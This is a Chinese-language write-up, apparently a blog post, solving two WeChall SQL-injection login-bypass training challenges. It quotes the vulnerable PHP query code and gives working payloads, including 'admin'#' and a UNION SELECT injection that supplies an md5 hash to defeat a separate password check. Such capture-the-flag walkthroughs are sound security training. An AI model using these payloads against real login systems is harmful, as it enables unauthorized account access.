[Wechall]Training:MySQL

绕过登录MySQL I:

http://www.wechall.net/challenge/training/mysql/auth_bypass1/index.php
输入“admin’#”即可绕过,没有任何的字符过滤。账号密码一起的 :$query=”SELECT * FROM users WHERE username=’$username’ and password=’$password’”;


绕过登录MySQL II:

http://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php
这里写图片描述
1.这次的跟上一道bypass不一样,账号与密码是分开验证的,并且表中的uername和password是非空的,但是没有字符串过滤。关键代码:

$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username'";//当存在username执行查询###注入关键点###
if (false === ($result = $db->queryFirst($query))) {//返回查询结果第一行
    echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
    return false;
}       
#############################
### This is the new check ###
if ($result['password'] !== $password) {//密码验证####注入关键点####
    echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
} #  End of the new code  ###

2.我们知道select可以选择常量,比如select null,’232’,’988’结果为:
这里写图片描述
使用以下查询:select * from ‘users’ where 1 union select null,’admin’,’password’结果为:
这里写图片描述
3.利用这种思想可以解决这道题。但是需注意三个问题。
第一,源代码要求返回结果集的第一行,在select * from ‘users’ where username=’admin’ union select null,’admin’,’password’中让第一个select条件为假即可。
第二,注意到MD5,所以应该将password改为md5(‘password’)。
第三,注意闭合单引号。
Username:xx’ union select null,’admin’,md5(‘password’) where ‘a’=’a
Password:password

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值